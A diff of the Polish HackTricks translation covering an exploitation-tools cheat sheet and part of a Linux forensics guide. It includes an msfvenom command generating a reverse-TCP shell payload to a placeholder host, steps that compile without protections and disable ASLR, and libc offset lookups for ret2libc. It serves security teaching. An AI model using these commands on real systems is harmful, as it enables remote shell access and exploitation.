**Info functions strncmp —>** Informacje o funkcji w gdb
|
||||
**Info functions strncmp —>** Info funkcji w gdb
|
||||
|
||||
## Ciekawe kursy
|
||||
|
||||
|
@ -549,16 +554,17 @@ Polega na ustawieniu pamięci poprzez rezerwacje i zwolnienia w taki sposób, ab
|
|||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Narzędzia Wykorzystywania
|
||||
# Exploiting Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Metasploit
|
||||
```
|
||||
|
@ -22,7 +23,7 @@ nasm_shell.rb
|
|||
nasm> jmp esp #Get opcodes
|
||||
msfelfscan -j esi /opt/fusion/bin/level01
|
||||
```
|
||||
### Kody powłoki
|
||||
### Shellcodes
|
||||
```
|
||||
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||||
```
|
||||
|
@ -126,20 +127,20 @@ gef➤ pattern search 0x6261617762616176
|
|||
```
|
||||
### Sztuczki
|
||||
|
||||
#### Takie same adresy w GDB
|
||||
#### Te same adresy GDB
|
||||
|
||||
Podczas debugowania GDB będzie **miał nieco inne adresy niż te używane przez binarny plik podczas wykonywania.** Możesz sprawić, że GDB będzie miał te same adresy, wykonując następujące kroki:
|
||||
Podczas debugowania GDB będzie miało **nieco inne adresy niż te używane przez binarny podczas wykonywania.** Możesz sprawić, aby GDB miało te same adresy, wykonując:
|
||||
|
||||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<ścieżka>` _Wstaw bezwzględną ścieżkę do pliku binarnego_
|
||||
* Wykorzystaj binarny plik, korzystając z tej samej bezwzględnej ścieżki
|
||||
* `PWD` i `OLDPWD` muszą być takie same podczas korzystania z GDB i podczas wykorzystywania binarnego pliku
|
||||
* `set env _=<path>` _Podaj absolutną ścieżkę do binarnego_
|
||||
* Wykorzystaj binarny, używając tej samej absolutnej ścieżki
|
||||
* `PWD` i `OLDPWD` muszą być takie same podczas korzystania z GDB i podczas wykorzystywania binarnego
|
||||
|
||||
#### Backtrace do znalezienia wywołanych funkcji
|
||||
#### Backtrace, aby znaleźć wywoływane funkcje
|
||||
|
||||
Gdy masz **binarny plik z linkowaniem statycznym**, wszystkie funkcje będą należeć do binarnego pliku (a nie do bibliotek zewnętrznych). W tym przypadku będzie trudno **zidentyfikować przepływ, którym podąża binarny plik, aby na przykład poprosić o dane wejściowe od użytkownika**.\
|
||||
Możesz łatwo zidentyfikować ten przepływ, **uruchamiając** binarny plik z **gdb**, aż zostaniesz poproszony o dane wejściowe. Następnie zatrzymaj go za pomocą **CTRL+C** i użyj polecenia **`bt`** (**backtrace**) aby zobaczyć wywołane funkcje:
|
||||
Kiedy masz **statycznie powiązany binarny**, wszystkie funkcje będą należały do binarnego (a nie do zewnętrznych bibliotek). W takim przypadku będzie trudno **zidentyfikować przepływ, który binarny podąża, aby na przykład poprosić o dane wejściowe.**\
|
||||
Możesz łatwo zidentyfikować ten przepływ, **uruchamiając** binarny z **gdb**, aż zostaniesz poproszony o dane wejściowe. Następnie zatrzymaj go za pomocą **CTRL+C** i użyj polecenia **`bt`** (**backtrace**), aby zobaczyć wywoływane funkcje:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -148,26 +149,26 @@ gef➤ bt
|
|||
#3 0x00000000004011a9 in ?? ()
|
||||
#4 0x0000000000400a5a in ?? ()
|
||||
```
|
||||
### Serwer GDB
|
||||
### GDB server
|
||||
|
||||
`gdbserver --multi 0.0.0.0:23947` (w IDA musisz podać pełną ścieżkę do pliku wykonywalnego na maszynie z systemem Linux i na maszynie z systemem Windows)
|
||||
`gdbserver --multi 0.0.0.0:23947` (w IDA musisz wypełnić absolutną ścieżkę do pliku wykonywalnego w maszynie Linux i w maszynie Windows)
|
||||
|
||||
## Ghidra
|
||||
|
||||
### Znajdowanie przesunięcia stosu
|
||||
### Znajdź offset stosu
|
||||
|
||||
**Ghidra** jest bardzo przydatne do znalezienia **przesunięcia** dla **przepełnienia bufora dzięki informacjom o pozycji zmiennych lokalnych.**\
|
||||
Na przykład, w poniższym przykładzie, przepełnienie bufora w `local_bc` wskazuje, że potrzebujesz przesunięcia `0xbc`. Ponadto, jeśli `local_10` to ciasteczko canary, wskazuje to, że aby je nadpisać z `local_bc`, istnieje przesunięcie `0xac`.\
|
||||
_Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
||||
**Ghidra** jest bardzo przydatna do znalezienia **offsetu** dla **przepełnienia bufora dzięki informacjom o położeniu zmiennych lokalnych.**\
|
||||
Na przykład, w poniższym przykładzie, przepełnienie bufora w `local_bc` wskazuje, że potrzebny jest offset `0xbc`. Ponadto, jeśli `local_10` jest ciastkiem kanarowym, wskazuje, że aby je nadpisać z `local_bc`, potrzebny jest offset `0xac`.\
|
||||
_Pamiętaj, że pierwsze 0x08, z którego zapisywane jest RIP, należy do RBP._
|
||||
|
||||
![](<../../.gitbook/assets/image (616).png>)
|
||||
|
||||
## GCC
|
||||
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompilacja bez zabezpieczeń\
|
||||
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Kompiluj bez zabezpieczeń\
|
||||
**-o** --> Wyjście\
|
||||
**-g** --> Zapisz kod (GDB będzie w stanie go zobaczyć)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Deaktywacja ASLR w systemie Linux
|
||||
**-g** --> Zapisz kod (GDB będzie mógł go zobaczyć)\
|
||||
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Aby dezaktywować ASLR w Linuxie
|
||||
|
||||
**Aby skompilować shellcode:**\
|
||||
**nasm -f elf assembly.asm** --> zwraca ".o"\
|
||||
|
@ -175,18 +176,18 @@ _Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
|||
|
||||
## Objdump
|
||||
|
||||
**-d** --> Rozkładanie sekcji wykonywalnej (zobacz kody operacyjne skompilowanego shellcode, znajdź ROP Gadgets, znajdź adres funkcji...)\
|
||||
**-Mintel** --> Składnia **Intel**\
|
||||
**-d** --> **Rozmontuj sekcje wykonywalne** (zobacz opkody skompilowanego shellcode, znajdź ROP Gadgets, znajdź adres funkcji...)\
|
||||
**-Mintel** --> **Intel** składnia\
|
||||
**-t** --> Tabela **symboli**\
|
||||
**-D** --> Rozkładaj wszystko (adres zmiennej statycznej)\
|
||||
**-D** --> **Rozmontuj wszystko** (adres zmiennej statycznej)\
|
||||
**-s -j .dtors** --> sekcja dtors\
|
||||
**-s -j .got** --> sekcja got\
|
||||
\-D -s -j .plt --> sekcja **plt** **zdekompilowana**\
|
||||
\-D -s -j .plt --> sekcja **plt** **dekompilowana**\
|
||||
**-TR** --> **Relokacje**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres "puts" do modyfikacji w GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres lub zmienna statyczna (przechowywane w sekcji DATA).
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Adres lub zmienna statyczna (te są przechowywane w sekcji DATA).
|
||||
|
||||
## Zrzuty pamięci
|
||||
## Core dumps
|
||||
|
||||
1. Uruchom `ulimit -c unlimited` przed uruchomieniem mojego programu
|
||||
2. Uruchom `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
|
@ -195,40 +196,41 @@ _Pamiętaj, że pierwsze 0x08, gdzie zapisywany jest RIP, należy do RBP._
|
|||
## Więcej
|
||||
|
||||
**ldd executable | grep libc.so.6** --> Adres (jeśli ASLR, to zmienia się za każdym razem)\
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Pętla do sprawdzenia, czy adres zmienia się dużo\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Przesunięcie "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Przesunięcie "/bin/sh"
|
||||
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Pętla, aby zobaczyć, czy adres zmienia się dużo\
|
||||
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset "system"\
|
||||
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset "/bin/sh"
|
||||
|
||||
**strace executable** --> Funkcje wywoływane przez wykonywalny plik\
|
||||
**rabin2 -i ejecutable -->** Adresy wszystkich funkcji
|
||||
**strace executable** --> Funkcje wywoływane przez wykonywalny\
|
||||
**rabin2 -i ejecutable -->** Adres wszystkich funkcji
|
||||
|
||||
## **Debugger Inmunity**
|
||||
## **Inmunity debugger**
|
||||
```bash
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||||
```
|
||||
## IDA
|
||||
|
||||
### Debugowanie w zdalnym systemie Linux
|
||||
### Debugowanie w zdalnym linuxie
|
||||
|
||||
Wewnątrz folderu IDA znajdziesz pliki binarne, które można użyć do debugowania pliku binarnego w systemie Linux. Aby to zrobić, przenieś plik _linux\_server_ lub _linux\_server64_ do serwera Linux i uruchom go wewnątrz folderu, który zawiera plik binarny:
|
||||
W folderze IDA możesz znaleźć pliki binarne, które można wykorzystać do debugowania binarnego w systemie linux. Aby to zrobić, przenieś plik binarny _linux\_server_ lub _linux\_server64_ na serwer linux i uruchom go w folderze, który zawiera plik binarny:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Następnie skonfiguruj debugger: Debugger (zdalny linux) --> Opcje procesu...:
|
||||
Następnie skonfiguruj debugger: Debugger (linux remote) --> Opcje procesu...:
|
||||
|
||||
![](<../../.gitbook/assets/image (101).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,38 @@
|
|||
# Analiza śladów w systemie Linux
|
||||
# Linux Forensics
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Początkowe zbieranie informacji
|
||||
## Wstępne zbieranie informacji
|
||||
|
||||
### Podstawowe informacje
|
||||
|
||||
Po pierwsze, zaleca się posiadanie **pendrive'a** z **znanymi dobrymi binarkami i bibliotekami** (możesz po prostu pobrać Ubuntu i skopiować foldery _/bin_, _/sbin_, _/lib_ i _/lib64_), następnie zamontuj pendrive i zmodyfikuj zmienne środowiskowe, aby używać tych binarek:
|
||||
Przede wszystkim zaleca się posiadanie **USB** z **dobrze znanymi binariami i bibliotekami** (możesz po prostu pobrać ubuntu i skopiować foldery _/bin_, _/sbin_, _/lib,_ i _/lib64_), następnie zamontować USB i zmodyfikować zmienne środowiskowe, aby używać tych binariów:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Gdy skonfigurowano system do użycia dobrych i znanych binariów, można rozpocząć **wydobywanie podstawowych informacji**:
|
||||
Gdy skonfigurujesz system do używania dobrych i znanych binariów, możesz zacząć **ekstrahować podstawowe informacje**:
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
|
@ -51,45 +52,45 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
```
|
||||
#### Podejrzane informacje
|
||||
|
||||
Podczas uzyskiwania podstawowych informacji należy sprawdzić dziwne rzeczy, takie jak:
|
||||
Podczas uzyskiwania podstawowych informacji powinieneś sprawdzić dziwne rzeczy, takie jak:
|
||||
|
||||
- Procesy **Roota** zazwyczaj działają z niskimi PID-ami, więc jeśli znajdziesz proces Roota z dużym PID-em, możesz podejrzewać
|
||||
- Sprawdź **zarejestrowane logowania** użytkowników bez powłoki wewnątrz `/etc/passwd`
|
||||
- Sprawdź **hashe haseł** wewnątrz `/etc/shadow` dla użytkowników bez powłoki
|
||||
* **Procesy root** zazwyczaj działają z niskimi PID, więc jeśli znajdziesz proces root z dużym PID, możesz podejrzewać
|
||||
* Sprawdź **zarejestrowane loginy** użytkowników bez powłoki w `/etc/passwd`
|
||||
* Sprawdź **hasła** w `/etc/shadow` dla użytkowników bez powłoki
|
||||
|
||||
### Zrzut pamięci
|
||||
|
||||
Aby uzyskać pamięć działającego systemu, zaleca się użycie [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Aby go **skompilować**, musisz użyć **tego samego jądra**, którego używa maszyna ofiary.
|
||||
Aby **skompilować** go, musisz użyć **tego samego jądra**, które używa maszyna ofiary.
|
||||
|
||||
{% hint style="info" %}
|
||||
Pamiętaj, że **nie możesz zainstalować LiME ani niczego innego** na maszynie ofiary, ponieważ spowoduje to kilka zmian w niej
|
||||
Pamiętaj, że **nie możesz zainstalować LiME ani niczego innego** na maszynie ofiary, ponieważ wprowadzi to wiele zmian w systemie
|
||||
{% endhint %}
|
||||
|
||||
Więc jeśli masz identyczną wersję Ubuntu, możesz użyć `apt-get install lime-forensics-dkms`\
|
||||
W innych przypadkach musisz pobrać [**LiME**](https://github.com/504ensicsLabs/LiME) z githuba i skompilować go z odpowiednimi nagłówkami jądra. Aby **uzyskać dokładne nagłówki jądra** maszyny ofiary, możesz po prostu **skopiować katalog** `/lib/modules/<wersja jądra>` na swoją maszynę, a następnie **skompilować** LiME, używając ich:
|
||||
Więc, jeśli masz identyczną wersję Ubuntu, możesz użyć `apt-get install lime-forensics-dkms`\
|
||||
W innych przypadkach musisz pobrać [**LiME**](https://github.com/504ensicsLabs/LiME) z githuba i skompilować go z odpowiednimi nagłówkami jądra. Aby **uzyskać dokładne nagłówki jądra** maszyny ofiary, możesz po prostu **skopiować katalog** `/lib/modules/<kernel version>` na swoją maszynę, a następnie **skompilować** LiME używając ich:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
```
|
||||
LiME obsługuje 3 **formaty**:
|
||||
|
||||
* Surowy (każdy segment sklejony razem)
|
||||
* Wyściełany (to samo co surowy, ale z zerami na prawej stronie)
|
||||
* Surowy (wszystkie segmenty połączone razem)
|
||||
* Wypełniony (taki sam jak surowy, ale z zerami w prawych bitach)
|
||||
* Lime (zalecany format z metadanymi)
|
||||
|
||||
LiME można również użyć do **wysłania zrzutu przez sieć** zamiast przechowywania go w systemie, używając czegoś takiego jak: `path=tcp:4444`
|
||||
LiME może być również używany do **wysyłania zrzutu przez sieć** zamiast przechowywania go w systemie, używając czegoś takiego jak: `path=tcp:4444`
|
||||
|
||||
### Tworzenie obrazu dysku
|
||||
### Obrazowanie dysku
|
||||
|
||||
#### Wyłączenie
|
||||
#### Wyłączanie
|
||||
|
||||
Po pierwsze, będziesz musiał **wyłączyć system**. To nie zawsze jest opcja, ponieważ czasami system będzie serwerem produkcyjnym, którego firma nie może sobie pozwolić na wyłączenie.\
|
||||
Istnieją **2 sposoby** wyłączenia systemu, **normalne wyłączenie** i **wyłączenie "wyciągnij wtyczkę"**. Pierwsze pozwoli **procesom zakończyć działanie jak zwykle** i **zsynchronizować system plików**, ale pozwoli również ewentualnemu **malware** na **zniszczenie dowodów**. Podejście "wyciągnij wtyczkę" może wiązać się z **pewną utratą informacji** (nie wiele informacji zostanie utraconych, ponieważ już zrobiliśmy obraz pamięci) i **malware nie będzie miał szansy** na zrobienie czegokolwiek w tej sprawie. Dlatego jeśli **podejrzewasz**, że może być **malware**, po prostu wykonaj polecenie **`sync`** na systemie i wyciągnij wtyczkę.
|
||||
Przede wszystkim musisz **wyłączyć system**. Nie zawsze jest to opcja, ponieważ czasami system będzie serwerem produkcyjnym, którego firma nie może sobie pozwolić na wyłączenie.\
|
||||
Istnieją **2 sposoby** na wyłączenie systemu, **normalne wyłączenie** i **wyłączenie "wyciągnięcia wtyczki"**. Pierwsze pozwoli na **normalne zakończenie procesów** i **synchronizację** **systemu plików**, ale również umożliwi potencjalnemu **złośliwemu oprogramowaniu** **zniszczenie dowodów**. Podejście "wyciągnięcia wtyczki" może wiązać się z **pewną utratą informacji** (nie wiele informacji zostanie utraconych, ponieważ już zrobiliśmy obraz pamięci) i **złośliwe oprogramowanie nie będzie miało żadnej możliwości** działania w tej sprawie. Dlatego, jeśli **podejrzewasz**, że może być **złośliwe oprogramowanie**, po prostu wykonaj **komendę** **`sync`** w systemie i wyciągnij wtyczkę.
|
||||
|
||||
#### Tworzenie obrazu dysku
|
||||
#### Robienie obrazu dysku
|
||||
|
||||
Ważne jest zauważenie, że **przed podłączeniem komputera do czegokolwiek związanego z sprawą**, musisz upewnić się, że będzie on **zamontowany jako tylko do odczytu**, aby uniknąć modyfikowania jakichkolwiek informacji.
|
||||
Ważne jest, aby zauważyć, że **przed podłączeniem komputera do czegokolwiek związanego z sprawą**, musisz upewnić się, że będzie on **zamontowany jako tylko do odczytu**, aby uniknąć modyfikacji jakichkolwiek informacji.
|
||||
```bash
|
||||
#Create a raw copy of the disk
|
||||
dd if=<subject device> of=<image file> bs=512
|
||||
|
@ -156,23 +157,23 @@ ThisisTheMasterSecret
|
|||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Korzystaj z [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować** przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Wyszukiwanie znanego oprogramowania złośliwego
|
||||
## Wyszukiwanie znanego złośliwego oprogramowania
|
||||
|
||||
### Zmodyfikowane pliki systemowe
|
||||
|
||||
Linux oferuje narzędzia do zapewnienia integralności komponentów systemowych, co jest kluczowe dla wykrywania potencjalnie problematycznych plików.
|
||||
|
||||
* **Systemy oparte na RedHat**: Użyj `rpm -Va` dla kompleksowej kontroli.
|
||||
* **Systemy oparte na Debian**: `dpkg --verify` dla wstępnej weryfikacji, a następnie `debsums | grep -v "OK$"` (po zainstalowaniu `debsums` za pomocą `apt-get install debsums`) w celu zidentyfikowania ewentualnych problemów.
|
||||
* **Systemy oparte na RedHat**: Użyj `rpm -Va` do kompleksowego sprawdzenia.
|
||||
